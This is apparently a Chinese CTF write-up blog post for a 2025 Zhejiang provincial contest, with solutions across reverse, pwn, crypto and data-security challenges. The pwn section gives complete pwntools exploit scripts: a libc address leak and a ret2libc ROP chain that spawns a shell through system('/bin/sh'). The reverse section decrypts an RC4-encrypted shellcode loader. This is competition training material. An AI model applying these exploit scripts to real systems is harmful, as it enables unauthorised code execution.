浙江省省赛2025初赛wp

Reverse

DontDebugMe

删去反调试,401000函数产生固定值v5,分别调试得到异或和加的值

两位一组提取数据然后写逆向脚本

1
2
3
4
5
6
7
8
9
10
11
12
#0x4c79
# print(hex(0x685+0x4144))
# print(hex(0xa9e9^0xee20))
#0x685ee20

a=[0xA9E9,0xA7F8,0xA2F9,0xD620,0xD69A,0xD9C8,0xD399,0x85CB,0xD29B,0xD5C7,0x8496,0xD4C9,0xD89A,0xD7CA,0xD59C,0x85C8,0xD597,0x859E,0xD49C,0x6DCA]
for i in range(len(a)):
a[i]=(a[i]^0xee20)-0x685
#print(hex(a[i]),end=",")
print(chr(a[i]&0xff),end="")
print(chr((a[i]>>8)&0xff), end="")
#DASCTF{152c147fe66b51dd450e375ce259e74e}

BasicLoader-1

main先会对格式进行判断

如果符合格式就传入StartAddress作为子线程入口,主线程会被阻塞,直到 StartAddress 执行完毕

直接运行程序发现有不一样的输出

去看函数列表发现有明显的tls,断点处有反调试,直接绕过或者patch都行,之后StartAddress会被赋值为特定字节

分析第一部分会跳转到新的地址

跟踪过去发现来到step2

下面是标准rc4加密

比赛调试总会遇到异常,赛后才调出来,主要问题是下载了ntdll.pdb文件导致会出现很多异常

加密后会把得到的密文当成字节码作为一个函数对输入进行处理并判断

如果可以调试就可以直接看

按照题目描述和免杀常见思路,另一种方式是直接rc4解密后把明文作为文件导出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
a=[0x68,0x60,0x0C,0x1B,0x2A,0xB3,0xEE,0x4A,0x17,0x7C,0xB7,0xF6,0x91,0xEA,0x92,0x2D,0x6B,0xAD,0x61,0xC2,0x5F,0x70,0x2C,0x14,0x74,0x0E,0xA2,0xAF,0x8A,0x57,0xFF,0x16,0xD2,0x18,0xDF,0x4C,0xB4,0x4D,0x80,0x8C,0xDA,0xB0,0x81,0x41,0xB5,0x64,0x8B,0x71,0xE5,0x36,0x39,0x46,0x10,0xF2,0x97,0x25,0xB0,0x05,0x10,0x00,0x7F,0x96,0xE4,0x64,0x0C,0x0B,0x14,0xBC,0x52,0xEA,0x64,0xB6,0xE5,0xDE,0x03,0xB5,0x52,0x4E,0x8D,0x1F,0x66,0xCD,0x68,0x19,0x65,0x93,0x5F,0xC1,0x30,0xBC,0xD0,0x52,0x86,0x01,0x4D,0xB6,0x99,0x45,0x40,0x66,0x3B,0xBE,0x13,0x42,0x4E,0x9B,0x18,0x6D,0xBA,0x00,0x74,0x99,0xB2,0x65,0xEC,0x6C,0xDF,0x51,0x17,0x8A,0x84,0x3A,0xF3,0x5D,0xC8,0xE9,0x88,0x65,0x9D,0x5B,0x4F,0x1D,0xC1,0x16,0xB5,0x96,0xC4,0x8C,0xFB,0xEA,0xA2,0x16,0x23,0x38,0x8E,0xE4,0x09,0x99,0x55,0x58,0x4A,0x4F]
def rc4(data, key):
S = list(range(256))
j = 0
out = []

for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]

i = j = 0
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(char ^ S[(S[i] + S[j]) % 256])

return bytes(out)

data = a
key = b'babyflag'
decrypted = rc4(data, key)
with open("shellcode", "wb") as f:
f.write(decrypted)

导出后放入ida也能看到加密

a1是输入,直接异或求得flag

1
2
3
4
5
6
7
8
9
a=[0x20014077,0x770A1073,0x7C0B4320,0x73524472,0x73501128,0x77041321,0x72524721]
v4 = 0x44332211
#print(0x20^0x44)
for i in range(len(a)):
print(chr((a[i]&0xff)^(v4&0xff)),end="")
print(chr((a[i]>>8 & 0xff) ^ (v4>>8 & 0xff)), end="")
print(chr((a[i] >> 16 & 0xff) ^ (v4 >> 16 & 0xff)), end="")
print(chr((a[i] >> 24 & 0xff) ^ (v4 >> 24 & 0xff)), end="")
#fb2db2931a88cfa793c701730ea6

也可以用idapython批量修改字节

1
2
3
4
5
6
7
8
9
10
11
12
import ida_bytes

start_address = 0x7FF780312620

byte_list = ['0x40', '0x55', '0x48', '0x8b', '0xec', '0x48', '0x83', '0xec', '0x20', '0x4c', '0x8b', '0xc9', '0x48', '0x85', '0xc9', '0xf', '0x84', '0x7c', '0x0', '0x0', '0x0', '0x45', '0x33', '0xc0', '0xc7', '0x45', '0xe0', '0x77', '0x40', '0x1', '0x20', '0x48', '0x8d', '0x45', '0xe0', '0xc7', '0x45', '0xe4', '0x73', '0x10', '0xa', '0x77', '0x4c', '0x2b', '0xc8', '0xc7', '0x45', '0xe8', '0x20', '0x43', '0xb', '0x7c', '0xc7', '0x45', '0xec', '0x72', '0x44', '0x52', '0x73', '0xc7', '0x45', '0xf0', '0x28', '0x11', '0x50', '0x73', '0xc7', '0x45', '0xf4', '0x77', '0x44', '0x56', '0x20', '0xc7', '0x45', '0xf8', '0x21', '0x13', '0x4', '0x77', '0xc7', '0x45', '0xfc', '0x21', '0x47', '0x52', '0x72', '0xc7', '0x45', '0x10', '0x11', '0x22', '0x33', '0x44', '0x66', '0x90', '0x49', '0x8b', '0xc0', '0x48', '0x8d', '0x55', '0xe0', '0x83', '0xe0', '0x3', '0x49', '0x3', '0xd0', '0xf', '0xb6', '0x4c', '0x5', '0x10', '0x41', '0xf', '0xbe', '0x4', '0x11', '0x33', '0xc8', '0xf', '0xb6', '0x2', '0x3b', '0xc1', '0x75', '0x11', '0x49', '0xff', '0xc0', '0x49', '0x83', '0xf8', '0x20', '0x72', '0xd7', '0xb0', '0x1', '0x48', '0x83', '0xc4', '0x20', '0x5d', '0xc3', '0x32', '0xc0', '0x48', '0x83', '0xc4', '0x20', '0x5d']

bytes_to_write = [int(byte, 16) for byte in byte_list]

for i, byte in enumerate(bytes_to_write):
ida_bytes.patch_byte(start_address + i, byte)

print(f"成功将 {len(bytes_to_write)} 个字节写入地址 0x{start_address:X}")

然后按照花指令的方式修复,稍麻烦,需要一直undefine然后强制识别

最终效果差不多

Pwn

rop-1

输入输出都有整数溢出的问题

atoll会把s中的数字提出来放到栈上,输入一个16进制数得到10进制数

output会在输出内容后将该位置内容重新设置为0

通过output泄露基址,然后ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./pwn'
elf = ELF(filename)
libc = ELF("./libc-2.31.so")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = process(filename)
else:
io = remote('node5.anna.nssctf.cn',21565)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r(a) : return io.recv(a)
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def b(addr):
#bk="b *$rebase("+str(addr)+")"
bk='b *' + str(addr)
attach(io,bk)
def get_addr_32():
return u32(io.recvuntil(b'\xf7')[-4:])
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def cmd(idx):
sla(b'>>', str(idx).encode())

def input(data):
cmd(1)
sla(b'number:\n', str(data).encode())

def output(data):
cmd(2)
sla(b'index:\n', str(data).encode())
ru(b'your number:\n')

output(-13)# -1
libc.address = int(io.recvuntil(b'\n', drop=True),10)-378-libc.sym.puts

print('libc', libc.address)
#debug()
input(0x4014cc)# 0,留一个空后面放ret指令,这里直接写一个主函数的地址就行

rop = ROP(libc)
input(rop.find_gadget(['pop rdi','ret'])[0])# 1
input(next(libc.search(b'/bin/sh\x00')))# 2
input(libc.sym.system)# 3

output(-12)
output(-13)
output(-13)
output(-13)

input(rop.find_gadget(['ret'])[0])

inter()

v2等于9的时候刚好覆盖到count,也可以通过覆盖count来决定下次写入的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
for i in range(9):    
input(10)
input(0)
output(-13) #-1的时候刚好可以改到ret_addr
libc_addr = int(io.recvuntil(b'\n', drop=True), 10) - 378 - libc.sym.puts

print('libc', hex(libc_addr))

pop_rdi_ret = 0x401563
binsh_addr = libc_addr + next(libc.search(b"/bin/sh\x00"))
system_addr = libc_addr + libc.sym['system']
ret_addr = 0x40101a
input(pop_rdi_ret)
#debug()
input(binsh_addr)
input(system_addr)
for i in range(9-3):
input(1)
input(-2)
input(ret_addr)

inter()

或者直接检查条件打one_gadget

1
2
3
4
5
6
7
8
output(-13)
libc_addr = int(io.recvuntil(b'\n', drop=True), 10) - 378 - libc.sym.puts

print('libc', hex(libc_addr))

input(libc_addr + 0xe3b01)

inter()

Crypto

RSA_Common_Attack

直接共模攻击

1
2
3
4
5
6
7
8
9
10
11
12
from gmpy2 import *
from Crypto.Util.number import *

n = 12184620342604321526236147921176689871260702807639258752158298414126076615130224253248632789995209263378074151299166903216279276546198828352880417707078853010887759267119069971739321905295081485027018480973993441393590030075971419165113599211569178425331802782763120185350392723844716582476742357944510728860535408085789317844446495987195735585533277358245562877243064161565448407188900804528695784565011073374273835326807616704068806996983861885772305191259029021518998160545972629938341341148477795894816345752396040127286263780418335699743896454197151019898505844519753453115300227481242993291336748858733029540609
e1 = 65537
e2 = 10001
c1 = 902947871638340144585350496607905036788917988784297938051712515029419473301205843372041904115813361402310512640716508455953201343091183980022416880886523265909139556951175072940441586166669057233430247014907124872576782948489940428513680356381769358116956570193102584168134758031000460513472898624075765670452482015562555449322262139576088011030490086784087285869959810062075648470122232452663599195404333292792928816934802064740144937473749408450501803510475933273448208685792400696632919950948832464784621694657179199125876564156360048730797653060931844444935302553732964065897065735427838601696506594726842758656
c2 = 7024079443689213821451191616762957236018704240049119768827190246286227366906772824421534943039282921384333899446122799252327963055365970065258371710141470872948613397123358914507497871585713222863470875497667604127210508840915183968145267083193773724382523920130152399270957943228022350279379887455019966651166356404967621474933206809521046480962602160962854745553005978607776790079518796651707745342923714121497001171456582586327982922261473553814594384196824815090185841526000247291514943042643385984600122463395695871306301585799490389353720773152762256126676456786420058282912965520064317739998211921049808590504
_ ,s1 ,s2 = gcdext(e1,e2)
m = pow(c1,s1,n) * pow(c2,s2,n) % n
print(long_to_bytes(m))
#DASCTF{RSA_C0mm0n_M0dulus_Att4ck_1s_V3ry_P0w3rful_1nd33d}

ez_stream

标准rc4,直接解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
t = [164, 34, 242, 5, 234, 79, 16, 182, 136, 117, 78, 78, 71, 168, 72, 79, 53, 114, 117]
N,K,S=[256,[0]*256],[0]*256,[i for i in range(256)]
key='love'
for i in range(256):S[i],K[i]=i,ord(key[i%len(key)])
j=0
for i in range(256):j=(j+S[i]+K[i])%256;S[i],S[j]=S[j],S[i]
i,j=0,0
for k in range(len(t)):
i=(i+1)%256;
j=(j+S[i])%256;
S[i],S[j]=S[j],S[i];
t[k]^=S[(S[i]+S[j])%256]
print(chr(t[k]),end="")
#DASCTF{rc4_is_easy}

SimpleLWE-1

看c里面的每个元素最后一个只会是112和622,其它相同,112对应0,622对应1,然后把这个二进制序列转成bytes就出了

1
2
3
4
5
6
7
8
9
import ast

q = 1021
cipher_path = "密文.txt"
ct = ast.literal_eval(open(cipher_path, encoding="utf-8").read().strip())
bs = ''.join('1' if abs(v - q // 2) < abs(v) else '0' for _, v in ct)
print(''.join(chr(int(bs[i:i+8], 2)) for i in range(0, len(bs) - len(bs) % 8, 8)))

# DASCTF{Lattice_Crypto_Is_Hard}

标准解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import json
import numpy as np
with open("111.json", "r", encoding="utf-8") as f:
pub = json.load(f)

q = pub["q"]
A = pub["A"]
b = pub["b"]

with open("密文.txt", "r", encoding="utf-8") as f:
ciphertexts = eval(f.read())

A = np.array(A)
b = np.array(b)
s = np.linalg.lstsq(A, b, rcond=None)[0].round() % q
s = s.astype(int)

plaintext_bits = []
for a_vec, c in ciphertexts:
a = np.array(a_vec)
v = (c - np.dot(a, s)) % q
bit = 1 if v > q // 2 else 0
plaintext_bits.append(bit)


def bits_to_str(bits):
s = ''
for i in range(0, len(bits), 8):
byte = bits[i:i+8]
if len(byte) < 8:
break
val = int(''.join(str(x) for x in byte), 2)
s += chr(val)
return s

flag = bits_to_str(plaintext_bits)
print(flag)

数据安全

dsEnData

加密为先xor再base64,大厨测试发现能正确解密

直接按照这个思路写脚本就行

生成解密后的文件,提交到平台获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import base64

def encode1(D, K='a1a60171273e74a6'):
res = b''
for i in range(len(D)):
c = K[i+1&15]
res += bytes.fromhex(hex(D[i]^ord(c))[2:].zfill(2))
return res

def decode_base64_and_decrypt(data):
base64_decoded = base64.b64decode(data)
decrypted_bytes = encode1(base64_decoded)
return decrypted_bytes.decode('utf-8')

with open('encoded_data.csv', 'r') as file:
lines = file.readlines()
decrypted_lines = []

for line in lines:
if line.startswith('username'):
decrypted_lines.append(line.strip())
continue

parts = line.strip().split(',')
decrypted_parts = []

for part in parts:
if part:
decrypted = decode_base64_and_decrypt(part)
decrypted_parts.append(decrypted)

decrypted_line = ','.join(decrypted_parts)
decrypted_lines.append(decrypted_line)
print(f"解密后: {decrypted_line}")

with open('decrypted_data.csv', 'w', encoding='utf-8') as output_file:
output_file.write('\n'.join(decrypted_lines))


#DASCTF{79776904559470278300673405502465}

浙江省省赛2025初赛wp
https://j1ya-22.github.io/2025/11/09/浙江省省赛2025初赛wp/
作者
j1ya
发布于
2025年11月9日
许可协议